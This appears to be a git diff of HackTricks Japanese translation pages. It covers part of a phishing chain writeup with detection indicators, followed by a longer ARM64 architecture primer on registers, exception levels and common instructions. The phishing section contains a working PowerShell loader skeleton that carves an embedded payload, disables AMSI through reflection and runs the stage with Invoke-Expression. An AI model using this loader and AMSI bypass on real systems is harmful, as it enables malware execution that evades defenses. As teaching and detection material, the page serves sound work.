4) 現在のプロセスでAMSIをバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 次段階をデオブスク化(例: 全ての#文字を削除)し、メモリ上で実行する。
|
||||
1) 一般的なパス(Desktop, Downloads, Documents, %TEMP%, %ProgramData% および カレントワーキングディレクトリの親)から元の ZIP を探す。
|
||||
2) ZIP のバイトを読み取り、ハードコードされたマーカー(例: xFIQCV)を探す。マーカー以降のすべてが埋め込まれた PowerShell ペイロードである。
|
||||
3) %ProgramData% に ZIP をコピーし、そこで展開して、正規に見せかけるためにデコイの .docx を開く。
|
||||
4) カレントプロセスで AMSI をバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 次のステージをデオブフスケート(例: すべての # 文字を除去)し、メモリ内で実行する。
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
@ -190,22 +190,22 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notes
|
||||
- 配信では信頼された PaaS サブドメイン(例: *.herokuapp.com)を悪用することが多く、IP/UA に基づいてペイロードを制限し(良性の ZIP を返す)ことがある。
|
||||
- 次段階では base64/XOR shellcode を復号化し、Reflection.Emit + VirtualAlloc 経由で実行してディスク痕跡を最小化することが多い。
|
||||
注意事項
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- 次のステージでは、ディスク上の痕跡を最小化するために base64/XOR shellcode を復号し、Reflection.Emit + VirtualAlloc を介して実行することが多い。
|
||||
|
||||
Persistence used in the same chain
|
||||
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリがペイロードを自動的に再起動するようにする。詳細とすぐ使えるコマンドは以下を参照:
|
||||
同じチェーンで使用される Persistence
|
||||
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリが自動的に payload を再実行するようにする。詳細と利用可能なコマンドは以下を参照:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- アーカイブデータの末尾に ASCII マーカー文字列(例: xFIQCV)が追記された ZIP ファイル。
|
||||
- .lnk が親/ユーザフォルダを列挙して ZIP を特定し、デコイ文書を開く。
|
||||
- AMSI を [System.Management.Automation.AmsiUtils]::amsiInitFailed を使って改ざんする。
|
||||
- 長時間続くビジネススレッドが、信頼された PaaS ドメインにホストされたリンクで終わる。
|
||||
- アーカイブデータ末尾に ASCII マーカー文字列(例: xFIQCV)が追記された ZIP ファイル。
|
||||
- .lnk が親/ユーザフォルダを列挙して ZIP を探し、デコイ文書を開く。
|
||||
- AMSI の改ざん([System.Management.Automation.AmsiUtils]::amsiInitFailed を利用)。
|
||||
- 長時間実行される業務スレッドが、信頼された PaaS ドメイン上にホストされたリンクで終わる。
|
||||
|
||||
## References
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,257 +1,258 @@
|
||||
# ARM64v8の紹介
|
||||
# ARM64v8入門
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **例外レベル - EL (ARM64v8)**
|
||||
|
||||
ARMv8アーキテクチャでは、実行レベルは例外レベル(EL)として知られ、実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的を持っています。
|
||||
ARMv8アーキテクチャでは、Exception Levels(EL)と呼ばれる実行レベルが実行環境の特権レベルと機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的を持ちます:
|
||||
|
||||
1. **EL0 - ユーザーモード**:
|
||||
- これは最も特権の低いレベルで、通常のアプリケーションコードを実行するために使用されます。
|
||||
- EL0で実行されるアプリケーションは互いに、またシステムソフトウェアから隔離されており、セキュリティと安定性が向上します。
|
||||
2. **EL1 - オペレーティングシステムカーネルモード**:
|
||||
- ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。
|
||||
- EL1はEL0よりも多くの特権を持ち、システムリソースにアクセスできますが、システムの整合性を確保するためにいくつかの制限があります。
|
||||
3. **EL2 - ハイパーバイザーモード**:
|
||||
- このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で複数のオペレーティングシステム(それぞれ独自のEL1で)を管理できます。
|
||||
1. **EL0 - ユーザモード**:
|
||||
- 最も権限の低いレベルで、通常のアプリケーションコードの実行に使用されます。
|
||||
- EL0で動作するアプリケーションは互いにおよびシステムソフトウェアから分離されており、セキュリティと安定性が向上します。
|
||||
2. **EL1 - OSカーネルモード**:
|
||||
- 多くのオペレーティングシステムカーネルはこのレベルで動作します。
|
||||
- EL1はEL0より多くの特権を持ち、システムリソースにアクセスできますが、システムの整合性を確保するための制約があります。
|
||||
3. **EL2 - ハイパーバイザモード**:
|
||||
- 仮想化に使用されるレベルです。EL2で動作するハイパーバイザは同一ハードウェア上で複数のOS(それぞれがEL1で動作)を管理できます。
|
||||
- EL2は仮想化環境の隔離と制御のための機能を提供します。
|
||||
4. **EL3 - セキュアモニターモード**:
|
||||
- これは最も特権の高いレベルで、セキュアブートや信頼できる実行環境にしばしば使用されます。
|
||||
- EL3はセキュア状態と非セキュア状態(セキュアブート、信頼できるOSなど)間のアクセスを管理および制御できます。
|
||||
4. **EL3 - セキュアモニタモード**:
|
||||
- 最も特権の高いレベルで、セキュアブートや信頼実行環境に使用されることが多いです。
|
||||
- EL3はセキュア状態と非セキュア状態間(例:secure boot、trusted OSなど)のアクセスを管理・制御できます。
|
||||
|
||||
これらのレベルを使用することで、ユーザーアプリケーションから最も特権の高いシステムソフトウェアまで、システムのさまざまな側面を構造化された安全な方法で管理できます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に隔離し、システムのセキュリティと堅牢性を向上させるのに役立ちます。
|
||||
これらのレベルを利用することで、ユーザアプリケーションから最も特権の高いシステムソフトウェアに至るまで、システムのさまざまな側面を構造化された安全な方法で管理できます。ARMv8の特権レイヤーのアプローチは、異なるシステムコンポーネントを効果的に分離し、システムのセキュリティと堅牢性を高めます。
|
||||
|
||||
## **レジスタ (ARM64v8)**
|
||||
|
||||
ARM64には**31の汎用レジスタ**があり、`x0`から`x30`までラベル付けされています。各レジスタは**64ビット**(8バイト)の値を格納できます。32ビットの値のみを必要とする操作では、同じレジスタを32ビットモードで`w0`から`w30`の名前でアクセスできます。
|
||||
ARM64には`x0`から`x30`までの**31個の汎用レジスタ**があり、それぞれ**64ビット**(8バイト)値を格納できます。32ビット値のみを扱う操作の場合、同じレジスタは`w0`〜`w30`という名前で32ビットモードとしてアクセスできます。
|
||||
|
||||
1. **`x0`**から**`x7`** - これらは通常、スクラッチレジスタとして使用され、サブルーチンにパラメータを渡すために使用されます。
|
||||
- **`x0`**は関数の戻りデータも持ちます。
|
||||
2. **`x8`** - Linuxカーネルでは、`x8`は`svc`命令のシステムコール番号として使用されます。**macOSではx16が使用されます!**
|
||||
3. **`x9`**から**`x15`** - より一時的なレジスタで、ローカル変数にしばしば使用されます。
|
||||
4. **`x16`**と**`x17`** - **手続き内呼び出しレジスタ**。即時値のための一時的なレジスタです。また、間接関数呼び出しやPLT(手続きリンクテーブル)スタブにも使用されます。
|
||||
- **`x16`**は**macOS**における**`svc`**命令の**システムコール番号**として使用されます。
|
||||
5. **`x18`** - **プラットフォームレジスタ**。汎用レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています:Windowsの現在のスレッド環境ブロックへのポインタ、またはLinuxカーネルの現在実行中のタスク構造へのポインタ。
|
||||
6. **`x19`**から**`x28`** - これらは呼び出し側が保存するレジスタです。関数はこれらのレジスタの値を呼び出し元のために保持しなければならず、スタックに保存され、呼び出し元に戻る前に回復されます。
|
||||
7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。関数が呼び出されると新しいスタックフレームが作成され、**`x29`**レジスタは**スタックに保存され**、**新しい**フレームポインタアドレス(**`sp`**アドレス)が**このレジスタに保存されます**。
|
||||
- このレジスタは**汎用レジスタ**としても使用できますが、通常は**ローカル変数**への参照として使用されます。
|
||||
8. **`x30`**または**`lr`** - **リンクレジスタ**。`BL`(リンク付き分岐)または`BLR`(レジスタへのリンク付き分岐)命令が実行されるときに**戻りアドレス**を保持し、**`pc`**値をこのレジスタに保存します。
|
||||
1. **`x0`** 〜 **`x7`** - 通常スクラッチレジスタとして、サブルーチンへのパラメータ渡しに使われます。
|
||||
- **`x0`** は関数の戻り値も格納します。
|
||||
2. **`x8`** - Linuxカーネルでは、`svc`命令のシステムコール番号に`x8`が使われます。**macOSではx16が使われます!**
|
||||
3. **`x9`** 〜 **`x15`** - ローカル変数などに使われる一時レジスタ。
|
||||
4. **`x16`** と **`x17`** - **Intra-procedural Call Registers**。即値用の一時レジスタ。間接関数呼び出しやPLTスタブにも使われます。
|
||||
- **`x16`** は **macOS** における **`svc`** 命令の **システムコール番号** に使われます。
|
||||
5. **`x18`** - **プラットフォームレジスタ**。汎用レジスタとして使用可能ですが、プラットフォームによっては専用用途に予約されています:Windowsではカレントスレッド環境ブロックへのポインタ、Linuxカーネルでは現在実行中のタスク構造体へのポインタなど。
|
||||
6. **`x19`** 〜 **`x28`** - カリー保存(callee-saved)レジスタ。関数は呼び出し側のためにこれらの値を保持する必要があり、スタックに保存して呼び出し元に戻る前に復元します。
|
||||
7. **`x29`** - **フレームポインタ**。スタックフレームを追跡するために使用されます。関数呼び出しで新しいスタックフレームが作成されると、**`x29`** は**スタックに保存**され、新しいフレームポインタアドレス(`sp`のアドレス)が**このレジスタに格納**されます。
|
||||
- このレジスタは通常ローカル変数の参照に使われますが、汎用レジスタとしても使用可能です。
|
||||
8. **`x30`** または **`lr`** - **リンクレジスタ**。`BL`(Branch with Link)や`BLR`(Branch with Link to Register)命令が実行されると、戻りアドレス(`pc`の値)をこのレジスタに保存します。
|
||||
- 他のレジスタと同様に使用することもできます。
|
||||
- 現在の関数が新しい関数を呼び出す場合、`lr`を上書きするため、最初にスタックに保存します。これがエピローグです(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)し、最後に回復します。これがプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復し、戻ります)。
|
||||
9. **`sp`** - **スタックポインタ**。スタックのトップを追跡するために使用されます。
|
||||
- **`sp`**の値は常に少なくとも**クワッドワード**の**アライメント**を維持する必要があります。さもなければアライメント例外が発生する可能性があります。
|
||||
10. **`pc`** - **プログラムカウンタ**。次の命令を指します。このレジスタは例外生成、例外戻り、分岐を通じてのみ更新できます。このレジスタを読み取ることができる唯一の通常の命令は、分岐付きリンク命令(BL、BLR)で、**`pc`**アドレスを**`lr`**(リンクレジスタ)に保存します。
|
||||
11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます(例:**`subs XZR, Xn, #10`**は結果のデータをどこにも保存しません(**`xzr`**に)。
|
||||
- 現在の関数が新しい関数を呼び出して`lr`を上書きする場合、関数の冒頭で`lr`をスタックに保存します(これはエピローグ相当の処理:`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存しスペースを確保して新しい`fp`を設定)し、終了時に復元します(プロローグ相当の処理:`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を復元して戻る)。
|
||||
9. **`sp`** - **スタックポインタ**。スタックの先端を追跡するために使用されます。
|
||||
- **`sp`** の値は常に少なくとも**クアッドワード整列(quadword alignment)**を保つ必要があり、そうでないとアラインメント例外が発生することがあります。
|
||||
10. **`pc`** - **プログラムカウンタ**。次の命令を指します。このレジスタは例外生成、例外復帰、分岐によってのみ更新できます。通常の命令でこのレジスタを読むのは、`BL`や`BLR`といったリンク付き分岐命令だけで、それらは`pc`アドレスを`lr`に格納します。
|
||||
11. **`xzr`** - **ゼロレジスタ**。32ビット形は**`wzr`**と呼ばれます。ゼロ値を簡単に得るため(一般的な操作)や、`subs`のように結果をどこにも格納しない比較に使えます(例:`subs XZR, Xn, #10`)。
|
||||
|
||||
**`Wn`**レジスタは**`Xn`**レジスタの**32ビット**バージョンです。
|
||||
**`Wn`** レジスタは **`Xn`** レジスタの **32ビット版** です。
|
||||
|
||||
> [!TIP]
|
||||
> X0〜X18のレジスタは破壊可能(volatile)で、関数呼び出しや割り込みによって値が変更される可能性があります。一方、X19〜X28は非破壊(non-volatile)で、関数呼び出しの間に値を保持する必要があります("callee saved")。
|
||||
|
||||
### SIMDおよび浮動小数点レジスタ
|
||||
|
||||
さらに、最適化された単一命令複数データ(SIMD)操作や浮動小数点演算に使用できる**128ビット長の32のレジスタ**があります。これらはVnレジスタと呼ばれますが、**64**ビット、**32**ビット、**16**ビット、**8**ビットでも動作し、その場合は**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**、**`Bn`**と呼ばれます。
|
||||
さらに、最適化されたSIMD(Single Instruction Multiple Data)操作および浮動小数点演算に使用できる128ビット長の**32個のレジスタ**があります。これらはVnレジスタと呼ばれますが、64ビット、32ビット、16ビット、8ビットでも動作可能で、その場合はそれぞれ**`Qn`**, **`Dn`**, **`Sn`**, **`Hn`**, **`Bn`** と呼ばれます。
|
||||
|
||||
### システムレジスタ
|
||||
|
||||
**数百のシステムレジスタ**、特別目的レジスタ(SPR)とも呼ばれ、**プロセッサ**の動作を**監視**および**制御**するために使用されます。\
|
||||
これらは専用の特別命令**`mrs`**および**`msr`**を使用してのみ読み取ったり設定したりできます。
|
||||
**何百ものシステムレジスタ**(special-purpose registers, SPRs)があり、プロセッサの動作を**監視**および**制御**するために使われます。\
|
||||
これらは専用の命令 **`mrs`** と **`msr`** を使ってのみ読み書きできます。
|
||||
|
||||
特別レジスタ**`TPIDR_EL0`**および**`TPIDDR_EL0`**は、リバースエンジニアリングで一般的に見られます。`EL0`の接尾辞は、レジスタにアクセスできる**最小例外**を示します(この場合、EL0は通常の例外(特権)レベルで、通常のプログラムが実行されます)。\
|
||||
これらは通常、メモリの**スレッドローカルストレージ**領域のベースアドレスを保存するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目のものはEL0から読み取ることができ、EL1から書き込むことができます(カーネルのように)。
|
||||
特殊レジスタの **`TPIDR_EL0`** と **`TPIDDR_EL0`** はリバースエンジニアリングでよく見かけます。`EL0`というサフィックスはそのレジスタがアクセス可能な**最小の例外レベル**を示します(この場合EL0は通常のプログラムが動作する権限レベルです)。\
|
||||
これらはスレッドローカルストレージのベースアドレスを格納するために使われることが多いです。通常、最初のものはEL0で読み書き可能ですが、2番目のものはEL0から読み取り、EL1(カーネル)から書き込みが可能、というような違いがあります。
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0をx0に読み取る`
|
||||
- `msr TPIDR_EL0, X0 ; x0をTPIDR_EL0に書き込む`
|
||||
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
|
||||
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE**は、オペレーティングシステムが可視化する**`SPSR_ELx`**特別レジスタに直列化された複数のプロセスコンポーネントを含み、Xはトリガーされた例外の**権限** **レベル**を示します(これにより、例外が終了したときにプロセス状態を回復できます)。\
|
||||
これらはアクセス可能なフィールドです:
|
||||
**PSTATE** はいくつかのプロセスコンポーネントをまとまった形でオペレーティングシステムから見える **`SPSR_ELx`** 特殊レジスタにシリアライズします(ここでXはトリガされた例外の**権限レベル**を示します。例外終了時にプロセス状態を復元できるようにするためです)。\
|
||||
アクセス可能なフィールドは以下の通りです:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`N`**、**`Z`**、**`C`**、および**`V`**条件フラグ:
|
||||
- **`N`**は、操作が負の結果をもたらしたことを意味します。
|
||||
- **`Z`**は、操作がゼロをもたらしたことを意味します。
|
||||
- **`C`**は、操作がキャリーしたことを意味します。
|
||||
- **`V`**は、操作が符号付きオーバーフローをもたらしたことを意味します:
|
||||
- 2つの正の数の合計が負の結果をもたらします。
|
||||
- 2つの負の数の合計が正の結果をもたらします。
|
||||
- 減算では、大きな負の数が小さな正の数から引かれた場合(またはその逆)、結果が与えられたビットサイズの範囲内で表現できない場合。
|
||||
- 明らかに、プロセッサは操作が符号付きかどうかを知らないため、CとVを操作でチェックし、符号付きまたは符号なしの場合にキャリーが発生したかどうかを示します。
|
||||
- **`N`**, **`Z`**, **`C`**, **`V`** の条件フラグ:
|
||||
- **`N`**: 演算結果が負であったことを意味します
|
||||
- **`Z`**: 演算結果がゼロであったことを意味します
|
||||
- **`C`**: 繰り上がり(キャリー)があったことを意味します
|
||||
- **`V`**: 符号付きオーバーフローが発生したことを意味します:
|
||||
- 2つの正の数の和が負になる場合
|
||||
- 2つの負の数の和が正になる場合
|
||||
- 引き算で、大きい負の数から小さい正の数を引く(またはその逆)など、結果が与えられたビット幅で表現できない場合
|
||||
- プロセッサは演算が符号付きか符号無しかを知らないため、CとVを組み合わせて演算でキャリーやオーバーフローが発生したかを示します。
|
||||
|
||||
> [!WARNING]
|
||||
> すべての命令がこれらのフラグを更新するわけではありません。**`CMP`**や**`TST`**のようなものは更新し、**`ADDS`**のようにsサフィックスを持つ他のものも更新します。
|
||||
> すべての命令がこれらのフラグを更新するわけではありません。`CMP`や`TST`のような命令は更新しますし、`s`サフィックスのある`ADDS`なども更新します。
|
||||
|
||||
- 現在の**レジスタ幅(`nRW`)フラグ**:フラグが0の値を保持している場合、プログラムは再開時にAArch64実行状態で実行されます。
|
||||
- 現在の**例外レベル**(**`EL`**):EL0で実行される通常のプログラムは値0を持ちます。
|
||||
- **単一ステップ**フラグ(**`SS`**):デバッガによって使用され、例外を通じて**`SPSR_ELx`**内でSSフラグを1に設定することによって単一ステップを実行します。プログラムは1ステップ実行し、単一ステップ例外を発生させます。
|
||||
- **不正例外**状態フラグ(**`IL`**):特権ソフトウェアが無効な例外レベル転送を実行したときにマークするために使用され、このフラグは1に設定され、プロセッサは不正状態例外をトリガーします。
|
||||
- **`DAIF`**フラグ:これらのフラグは、特権プログラムが特定の外部例外を選択的にマスクできるようにします。
|
||||
- **`A`**が1の場合、**非同期中断**がトリガーされることを意味します。**`I`**は外部ハードウェア**割り込み要求**(IRQ)に応答するように設定します。Fは**高速割り込み要求**(FIR)に関連しています。
|
||||
- **スタックポインタ選択**フラグ(**`SPS`**):EL1以上で実行される特権プログラムは、自分のスタックポインタレジスタとユーザーモデルのスタックポインタ(例:`SP_EL1`と`EL0`)の間でスワップできます。この切り替えは、**`SPSel`**特別レジスタに書き込むことによって行われます。これはEL0からは行えません。
|
||||
- 現在の**レジスタ幅(`nRW`)フラグ**: フラグが0なら、再開時にプログラムはAArch64実行状態で動作します。
|
||||
- 現在の**例外レベル(`EL`)**: EL0で動作する通常プログラムは0になります。
|
||||
- **シングルステップ(`SS`)フラグ**: デバッガが例外を介して`SPSR_ELx`内のSSフラグを1にセットすることでシングルステップを実現します。プログラムは1ステップ実行し、シングルステップ例外を発行します。
|
||||
- **不正な例外状態(`IL`)フラグ**: 特権ソフトウェアが無効な例外レベル遷移を行ったときにこのフラグが1にセットされ、プロセッサは不正な状態例外をトリガします。
|
||||
- **`DAIF` フラグ**: これらのフラグは特権プログラムが特定の外部例外を選択的にマスクすることを可能にします。
|
||||
- **`A`** が1なら非同期アボート(asynchronous aborts)がトリガされます。**`I`** は外部ハードウェア割り込み要求(IRQ)への応答を制御し、**`F`** はファスト割り込み要求(FIQ)に関連します。
|
||||
- **スタックポインタ選択(`SPS`)フラグ**: EL1以上で実行される特権プログラムは、自身のスタックポインタレジスタとユーザモデルのスタックポインタ(例:`SP_EL1` と `EL0`)を切り替えることができます。この切り替えは `SPSel` 特殊レジスタへの書き込みで行われます。EL0からは実行できません。
|
||||
|
||||
## **呼び出し規約 (ARM64v8)**
|
||||
|
||||
ARM64の呼び出し規約では、関数への**最初の8つのパラメータ**はレジスタ**`x0`から`x7`**に渡されます。**追加の**パラメータは**スタック**に渡されます。**戻り**値はレジスタ**`x0`**に返され、**128ビット長**の場合は**`x1`**にも返されます。**`x19`**から**`x30`**および**`sp`**レジスタは、関数呼び出しの間に**保持**されなければなりません。
|
||||
ARM64の呼び出し規約では、関数への最初の8個のパラメータはレジスタ `x0` から `x7` に渡されます。追加のパラメータは**スタック**経由で渡されます。戻り値はレジスタ `x0` に返され、もし128ビット長の戻り値なら `x1` も使われます。`x19` から `x30` と `sp` は関数呼び出しの間に**保存**される必要があります。
|
||||
|
||||
アセンブリで関数を読むときは、**関数のプロローグとエピローグ**を探します。**プロローグ**は通常、**フレームポインタ(`x29`)の保存**、**新しいフレームポインタの設定**、および**スタックスペースの割り当て**を含みます。**エピローグ**は通常、**保存されたフレームポインタの復元**と**関数からの戻り**を含みます。
|
||||
アセンブリで関数を読むときは、**関数のプロローグとエピローグ**を探してください。**プロローグ**は通常、**フレームポインタ(`x29`)を保存**し、**新しいフレームポインタを設定**し、**スタック領域を確保**する処理を含みます。**エピローグ**は通常、**保存したフレームポインタを復元**し、関数から**戻る**処理を含みます。
|
||||
|
||||
### Swiftにおける呼び出し規約
|
||||
### Swiftの呼び出し規約
|
||||
|
||||
Swiftには独自の**呼び出し規約**があり、[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)で見つけることができます。
|
||||
Swiftは独自の**呼び出し規約**を持っており、それは次で確認できます: [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **一般的な命令 (ARM64v8)**
|
||||
## **よく使われる命令 (ARM64v8)**
|
||||
|
||||
ARM64命令は一般的に**形式 `opcode dst, src1, src2`**を持ち、**`opcode`**は実行される**操作**(`add`、`sub`、`mov`など)、**`dst`**は結果が格納される**宛先**レジスタ、**`src1`**および**`src2`**は**ソース**レジスタです。即時値もソースレジスタの代わりに使用できます。
|
||||
ARM64命令は一般に **`opcode dst, src1, src2`** の形式を取り、ここで **`opcode`** は実行する操作(`add`, `sub`, `mov` など)、**`dst`** は結果を格納する宛先レジスタ、**`src1`** と **`src2`** がソースレジスタです。即値をソースレジスタの代わりに使うこともできます。
|
||||
|
||||
- **`mov`**: **値を1つの**レジスタから別のレジスタに**移動**します。
|
||||
- 例:`mov x0, x1` — これは`x1`から`x0`に値を移動します。
|
||||
- **`ldr`**: **メモリ**から**レジスタ**に値を**ロード**します。
|
||||
- 例:`ldr x0, [x1]` — これは`x1`が指すメモリ位置から`x0`に値をロードします。
|
||||
- **オフセットモード**:元のポインタに影響を与えるオフセットが示されます。例えば:
|
||||
- `ldr x2, [x1, #8]`、これは`x1 + 8`から`x2`に値をロードします。
|
||||
- `ldr x2, [x0, x1, lsl #2]`、これは配列`x0`から位置`x1`(インデックス)\* 4のオブジェクトを`x2`にロードします。
|
||||
- **プレインデックスモード**:これは元に計算を適用し、結果を取得し、元の位置に新しい元を保存します。
|
||||
- `ldr x2, [x1, #8]!`、これは`x1 + 8`を`x2`にロードし、`x1`に`x1 + 8`の結果を保存します。
|
||||
- `str lr, [sp, #-4]!`、リンクレジスタを`sp`に保存し、レジスタ`sp`を更新します。
|
||||
- **ポストインデックスモード**:これは前のものと似ていますが、メモリアドレスにアクセスし、その後オフセットが計算されて保存されます。
|
||||
- `ldr x0, [x1], #8`、`x1`を`x0`にロードし、`x1`を`x1 + 8`で更新します。
|
||||
- **PC相対アドレッシング**:この場合、ロードするアドレスはPCレジスタに相対的に計算されます。
|
||||
- `ldr x1, =_start`、これは`_start`シンボルが始まるアドレスを現在のPCに関連付けて`x1`にロードします。
|
||||
- **`str`**: **レジスタ**から**メモリ**に値を**保存**します。
|
||||
- 例:`str x0, [x1]` — これは`x0`の値を`x1`が指すメモリ位置に保存します。
|
||||
- **`ldp`**: **レジスタのペアをロード**します。この命令は**連続したメモリ**位置から**2つのレジスタ**を**ロード**します。メモリアドレスは通常、別のレジスタの値にオフセットを加えることによって形成されます。
|
||||
- 例:`ldp x0, x1, [x2]` — これは`x2`および`x2 + 8`のメモリ位置から`x0`と`x1`をロードします。
|
||||
- **`stp`**: **レジスタのペアを保存**します。この命令は**連続したメモリ**位置に**2つのレジスタ**を**保存**します。メモリアドレスは通常、別のレジスタの値にオフセットを加えることによって形成されます。
|
||||
- 例:`stp x0, x1, [sp]` — これは`sp`および`sp + 8`のメモリ位置に`x0`と`x1`を保存します。
|
||||
- `stp x0, x1, [sp, #16]!` — これは`sp+16`および`sp + 24`のメモリ位置に`x0`と`x1`を保存し、`sp`を`sp+16`で更新します。
|
||||
- **`add`**: 2つのレジスタの値を**加算**し、結果をレジスタに保存します。
|
||||
- 構文:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
- **`mov`**: レジスタ間で値を**移動**します。
|
||||
- 例: `mov x0, x1` — `x1`の値を`x0`に移動します。
|
||||
- **`ldr`**: **メモリから**値を**レジスタへロード**します。
|
||||
- 例: `ldr x0, [x1]` — `x1`が指すメモリ位置から値を読み取り`x0`に格納します。
|
||||
- **オフセットモード**: オリジンポインタに影響するオフセットが示されます。例えば:
|
||||
- `ldr x2, [x1, #8]` は x1 + 8 のアドレスから値をロードして x2 に入れます
|
||||
- `ldr x2, [x0, x1, lsl #2]` は配列 x0 の x1(インデックス)位置 * 4 からオブジェクトをロードして x2 に入れます
|
||||
- **プリインデックスモード**: 計算をオリジンに適用して結果を取得し、その新しいオリジンをオリジンレジスタに格納します。
|
||||
- `ldr x2, [x1, #8]!` は `x1 + 8` の値を x2 にロードし、x1 に `x1 + 8` を格納します
|
||||
- `str lr, [sp, #-4]!` はリンクレジスタを sp に格納し、sp を更新します
|
||||
- **ポストインデックスモード**: 前者に似ていますが、メモリアドレスにアクセスした後でオフセットを計算して格納します。
|
||||
- `ldr x0, [x1], #8` は x1 の値を x0 にロードし、x1 を `x1 + 8` に更新します
|
||||
- **PC相対アドレッシング**: 読み込むアドレスが PC レジスタに対して相対的に計算されます
|
||||
- `ldr x1, =_start` は現在のPCに関連して `_start` シンボルの開始アドレスを x1 にロードします。
|
||||
- **`str`**: レジスタからメモリへ値を**ストア**します。
|
||||
- 例: `str x0, [x1]` — `x0`の値を`x1`が指すメモリ位置に格納します。
|
||||
- **`ldp`**: **ペアロード**。連続するメモリ位置から2つのレジスタをロードします。メモリアドレスは通常別のレジスタにオフセットを加えたものです。
|
||||
- 例: `ldp x0, x1, [x2]` — `x2`と`x2 + 8`からそれぞれ`x0`と`x1`をロードします。
|
||||
- **`stp`**: **ペアストア**。連続するメモリ位置へ2つのレジスタを格納します。
|
||||
- 例: `stp x0, x1, [sp]` — `x0`と`x1`をそれぞれ`sp`と`sp + 8`に格納します。
|
||||
- `stp x0, x1, [sp, #16]!` — `x0`と`x1`を`sp+16`と`sp+24`に格納し、`sp`を`sp+16`に更新します。
|
||||
- **`add`**: 2つのレジスタの値を加算して結果をレジスタに格納します。
|
||||
- 構文: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
|
||||
- Xn1 -> 宛先
|
||||
- Xn2 -> オペランド1
|
||||
- Xn3 | #imm -> オペランド2(レジスタまたは即時)
|
||||
- \[shift #N | RRX] -> シフトを実行するか、RRXを呼び出します。
|
||||
- 例:`add x0, x1, x2` — これは`x1`と`x2`の値を加算し、結果を`x0`に保存します。
|
||||
- `add x5, x5, #1, lsl #12` — これは4096に等しい(1を12回シフト)-> 1 0000 0000 0000 0000
|
||||
- **`adds`** これは`add`を実行し、フラグを更新します。
|
||||
- **`sub`**: 2つのレジスタの値を**減算**し、結果をレジスタに保存します。
|
||||
- **`add`**の**構文**を確認してください。
|
||||
- 例:`sub x0, x1, x2` — これは`x1`から`x2`の値を減算し、結果を`x0`に保存します。
|
||||
- **`subs`** これは`sub`のようにフラグを更新します。
|
||||
- **`mul`**: **2つのレジスタ**の値を**乗算**し、結果をレジスタに保存します。
|
||||
- 例:`mul x0, x1, x2` — これは`x1`と`x2`の値を乗算し、結果を`x0`に保存します。
|
||||
- **`div`**: 1つのレジスタの値を別のレジスタで割り、結果をレジスタに保存します。
|
||||
- 例:`div x0, x1, x2` — これは`x1`を`x2`で割り、結果を`x0`に保存します。
|
||||
- **`lsl`**、**`lsr`**、**`asr`**、**`ror`, `rrx`**:
|
||||
- **論理シフト左**:末尾から0を追加し、他のビットを前方に移動させます(n回2倍)。
|
||||
- **論理シフト右**:先頭に1を追加し、他のビットを後方に移動させます(符号なしでn回2で割る)。
|
||||
- **算術シフト右**:**`lsr`**のように、最上位ビットが1の場合は0を追加するのではなく、**1を追加します**(符号付きでn回2で割る)。
|
||||
- **右に回転**:**`lsr`**のように、右から削除されたものを左に追加します。
|
||||
- **拡張付き右回転**:**`ror`**のように、キャリーフラグを「最上位ビット」として扱います。したがって、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。
|
||||
- **`bfm`**: **ビットフィールド移動**、これらの操作は**値から`0...n`ビットをコピー**し、**`m..m+n`**の位置に配置します。**`#s`**は**最左ビット**の位置を指定し、**`#r`**は**右に回転する量**を指定します。
|
||||
